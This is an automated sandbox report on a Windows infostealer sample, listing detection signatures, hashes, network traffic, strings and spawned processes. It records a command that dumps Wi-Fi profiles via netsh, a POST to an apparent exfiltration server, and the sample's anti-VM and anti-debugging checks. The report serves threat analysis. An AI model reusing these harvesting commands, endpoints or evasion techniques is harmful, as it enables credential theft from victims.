Windows Analysis Report
14posdLrGh.exe

Overview

General Information

Sample name: 14posdLrGh.exe
renamed because original name is a hash value
Original sample name: 52f30bf4980337fd9e150ac186c5c04d08674bacc468235ecf2ab8f925f889be.exe
Analysis ID: 1438234
MD5: b10b3047a2a4a6d75ddb3633906f2613
SHA1: ba4f259d0f41e32ba20cd207b3af46fc430a884b
SHA256: 52f30bf4980337fd9e150ac186c5c04d08674bacc468235ecf2ab8f925f889be
Tags: exe
Infos:

Detection

PXRECVOWEIWOEI Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Yara detected AntiVM3
Yara detected PXRECVOWEIWOEI Stealer
.NET source code contains potential unpacker
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Found many strings related to Crypto-Wallets (likely being stolen)
Machine Learning detection for sample
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses netsh to modify the Windows network and firewall settings
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 14posdLrGh.exe Avira: detected
Antivirus detection for URL or domain
Source: https://whatismyipaddressnow.co/API/FETCH/getcountry.php Avira URL Cloud: Label: malware
Source: https://whatismyipaddressnow.co/API/FETCH/filter.php?countryid=14&token=KdudHBIkdYW9 Avira URL Cloud: Label: phishing
Multi AV Scanner detection for domain / URL
Source: whatismyipaddressnow.co Virustotal: Detection: 8% Perma Link
Source: http://whatismyipaddressnow.co Virustotal: Detection: 8% Perma Link
Source: https://whatismyipaddressnow.co/API/FETCH/getcountry.php Virustotal: Detection: 12% Perma Link
Source: https://whatismyipaddressnow.co/API/FETCH/filter.php?countryid=14&token=KdudHBIkdYW9 Virustotal: Detection: 8% Perma Link
Source: https://whatismyipaddressnow.co Virustotal: Detection: 8% Perma Link
Multi AV Scanner detection for submitted file
Source: 14posdLrGh.exe ReversingLabs: Detection: 31%
Source: 14posdLrGh.exe Virustotal: Detection: 38% Perma Link
Machine Learning detection for sample
Source: 14posdLrGh.exe Joe Sandbox ML: detected
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 172.67.143.245:443 -> 192.168.2.4:49730 version: TLS 1.0
Source: unknown HTTPS traffic detected: 172.67.143.245:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: 14posdLrGh.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 4x nop then jmp 008814DFh 0_2_008811D3
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h 0_2_00882A85
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h 0_2_00882A90
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h 0_2_057A03AC
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h 0_2_057A6FA8
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /API/FETCH/filter.php?countryid=14&token=KdudHBIkdYW9 HTTP/1.1Host: whatismyipaddressnow.coConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /API/FETCH/getcountry.php HTTP/1.1Content-Type: multipart/form-data; boundary=---TelegramBotAPI_638507840859530506Host: whatismyipaddressnow.coContent-Length: 5314Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View IP Address: 172.67.143.245 172.67.143.245
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
May check the online IP address of the machine
Source: unknown DNS query: name: whatismyipaddressnow.co
Source: unknown DNS query: name: whatismyipaddressnow.co
Source: unknown DNS query: name: icanhazip.com
Source: unknown DNS query: name: icanhazip.com
Source: unknown DNS query: name: ip-api.com
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 172.67.143.245:443 -> 192.168.2.4:49730 version: TLS 1.0
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /API/FETCH/filter.php?countryid=14&token=KdudHBIkdYW9 HTTP/1.1Host: whatismyipaddressnow.coConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: whatismyipaddressnow.co
Source: global traffic DNS traffic detected: DNS query: icanhazip.com
Source: global traffic DNS traffic detected: DNS query: 114.82.9.0.in-addr.arpa
Source: global traffic DNS traffic detected: DNS query: ip-api.com
Source: unknown HTTP traffic detected: POST /API/FETCH/getcountry.php HTTP/1.1Content-Type: multipart/form-data; boundary=---TelegramBotAPI_638507840859530506Host: whatismyipaddressnow.coContent-Length: 5314Connection: Keep-Alive
Source: cert9.db.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: cert9.db.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: cert9.db.0.dr String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: cert9.db.0.dr String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: cert9.db.0.dr String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: cert9.db.0.dr String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: cert9.db.0.dr String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000259B000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1677581277.00000000024D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://icanhazip.com
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000024D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://icanhazip.com/
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000280F000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1677581277.0000000002894000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000280F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: cert9.db.0.dr String found in binary or memory: http://ocsp.digicert.com0
Source: cert9.db.0.dr String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.0000000002491000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.0000000002919000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://whatismyipaddressnow.co
Source: cert9.db.0.dr String found in binary or memory: http://x1.c.lencr.org/0
Source: cert9.db.0.dr String found in binary or memory: http://x1.i.lencr.org/0
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003608000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003536000.00000004.00000800.00020000.00000000.sdmp, tmpA7A9.tmp.dat.0.dr, tmp6564.tmp.dat.0.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003608000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003536000.00000004.00000800.00020000.00000000.sdmp, tmpA7A9.tmp.dat.0.dr, tmp6564.tmp.dat.0.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003608000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003536000.00000004.00000800.00020000.00000000.sdmp, tmpA7A9.tmp.dat.0.dr, tmp6564.tmp.dat.0.dr String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003608000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003536000.00000004.00000800.00020000.00000000.sdmp, tmpA7A9.tmp.dat.0.dr, tmp6564.tmp.dat.0.dr String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp, tmp3F88.tmp.dat.0.dr String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: tmp3F88.tmp.dat.0.dr String found in binary or memory: https://chrome.google.com/webstore?hl=enWeb
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003608000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003536000.00000004.00000800.00020000.00000000.sdmp, tmpA7A9.tmp.dat.0.dr, tmp6564.tmp.dat.0.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003608000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003536000.00000004.00000800.00020000.00000000.sdmp, tmpA7A9.tmp.dat.0.dr, tmp6564.tmp.dat.0.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003608000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003536000.00000004.00000800.00020000.00000000.sdmp, tmpA7A9.tmp.dat.0.dr, tmp6564.tmp.dat.0.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.0000000002653000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.micro
Source: tmp57A8.tmp.dat.0.dr String found in binary or memory: https://support.mozilla.org
Source: tmp57A8.tmp.dat.0.dr String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000252A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefox
Source: tmp57A8.tmp.dat.0.dr String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.0000000002653000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1677581277.00000000028FA000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003736000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.000000000351E000.00000004.00000800.00020000.00000000.sdmp, tmpCE60.tmp.dat.0.dr, tmp1A47.tmp.dat.0.dr String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003711000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, tmpCE60.tmp.dat.0.dr, tmp1A47.tmp.dat.0.dr String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.0000000002653000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1677581277.00000000028FA000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003736000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.000000000351E000.00000004.00000800.00020000.00000000.sdmp, tmpCE60.tmp.dat.0.dr, tmp1A47.tmp.dat.0.dr String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003711000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, tmpCE60.tmp.dat.0.dr, tmp1A47.tmp.dat.0.dr String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.0000000002919000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1677581277.0000000002491000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://whatismyipaddressnow.co
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.0000000002491000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://whatismyipaddressnow.co/API/FETCH/filter.php?countryid=14&token=KdudHBIkdYW9
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000024D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://whatismyipaddressnow.co/API/FETCH/getcountry.php
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003608000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003536000.00000004.00000800.00020000.00000000.sdmp, tmpA7A9.tmp.dat.0.dr, tmp6564.tmp.dat.0.dr String found in binary or memory: https://www.ecosia.org/newtab/
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003608000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003536000.00000004.00000800.00020000.00000000.sdmp, tmpA7A9.tmp.dat.0.dr, tmp6564.tmp.dat.0.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: tmp57A8.tmp.dat.0.dr String found in binary or memory: https://www.mozilla.org
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000252A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000252A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/LR
Source: tmp57A8.tmp.dat.0.dr String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000252A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000252A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/LR
Source: tmp57A8.tmp.dat.0.dr String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000252A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003886000.00000004.00000800.00020000.00000000.sdmp, tmp57A8.tmp.dat.0.dr String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000252A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/LR
Source: tmp57A8.tmp.dat.0.dr String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000252A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000252A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/LR
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003886000.00000004.00000800.00020000.00000000.sdmp, tmp57A8.tmp.dat.0.dr String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000028BF000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1677581277.00000000028FA000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp, tmpCF47.tmp.dat.0.dr String found in binary or memory: https://www.office.com/
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000028BF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.office.com/LR
Source: tmpCF47.tmp.dat.0.dr String found in binary or memory: https://www.office.com/Office
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown HTTPS traffic detected: 172.67.143.245:443 -> 192.168.2.4:49733 version: TLS 1.2
Creates a window with clipboard capturing capabilities
Source: C:\Users\user\Desktop\14posdLrGh.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_00881050 0_2_00881050
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_008811D3 0_2_008811D3
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_00883A08 0_2_00883A08
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_00881040 0_2_00881040
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_00882CC0 0_2_00882CC0
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_057A4440 0_2_057A4440
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_057A5270 0_2_057A5270
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_057A3EF0 0_2_057A3EF0
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_059D3288 0_2_059D3288
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_059D1D08 0_2_059D1D08
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_059D3300 0_2_059D3300
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_059D1CF9 0_2_059D1CF9
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_059D2C71 0_2_059D2C71
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_05ADD4A1 0_2_05ADD4A1
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_05ADD618 0_2_05ADD618
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_05CDD320 0_2_05CDD320
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_05CD0006 0_2_05CD0006
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_05CF5920 0_2_05CF5920
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_05CF6408 0_2_05CF6408
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_05CF6030 0_2_05CF6030
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_05CD72D7 0_2_05CD72D7
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_05CD72E8 0_2_05CD72E8
Sample file is different than original file name gathered from version info
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003790000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameM3t4n01a.exeR vs 14posdLrGh.exe
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003608000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameM3t4n01a.exeR vs 14posdLrGh.exe
Source: 14posdLrGh.exe, 00000000.00000002.1680992621.0000000005580000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameM3t4n01a.exeR vs 14posdLrGh.exe
Source: 14posdLrGh.exe, 00000000.00000000.1597768384.000000000090E000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameFree5will.exeJ vs 14posdLrGh.exe
Source: 14posdLrGh.exe, 00000000.00000002.1676983867.000000000064E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs 14posdLrGh.exe
Source: 14posdLrGh.exe Binary or memory string: OriginalFilenameFree5will.exeJ vs 14posdLrGh.exe
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@11/18@4/3
Source: C:\Users\user\Desktop\14posdLrGh.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\14posdLrGh.exe.log Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Mutant created: NULL
Source: C:\Users\user\Desktop\14posdLrGh.exe Mutant created: \Sessions\1\BaseNamedObjects\610930
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7068:120:WilError_03
Source: C:\Users\user\Desktop\14posdLrGh.exe File created: C:\Users\user\AppData\Local\Temp\fqs92o4p.default-release Jump to behavior
Source: 14posdLrGh.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 14posdLrGh.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\14posdLrGh.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\14posdLrGh.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000254F000.00000004.00000800.00020000.00000000.sdmp, tmp5884.tmp.dat.0.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 14posdLrGh.exe ReversingLabs: Detection: 31%
Source: 14posdLrGh.exe Virustotal: Detection: 38%
Source: unknown Process created: C:\Users\user\Desktop\14posdLrGh.exe "C:\Users\user\Desktop\14posdLrGh.exe"
Source: C:\Users\user\Desktop\14posdLrGh.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Source: unknown Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Users\user\Desktop\14posdLrGh.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\chcp.com chcp 65001 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr All Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: userenv.dll Jump to behavior
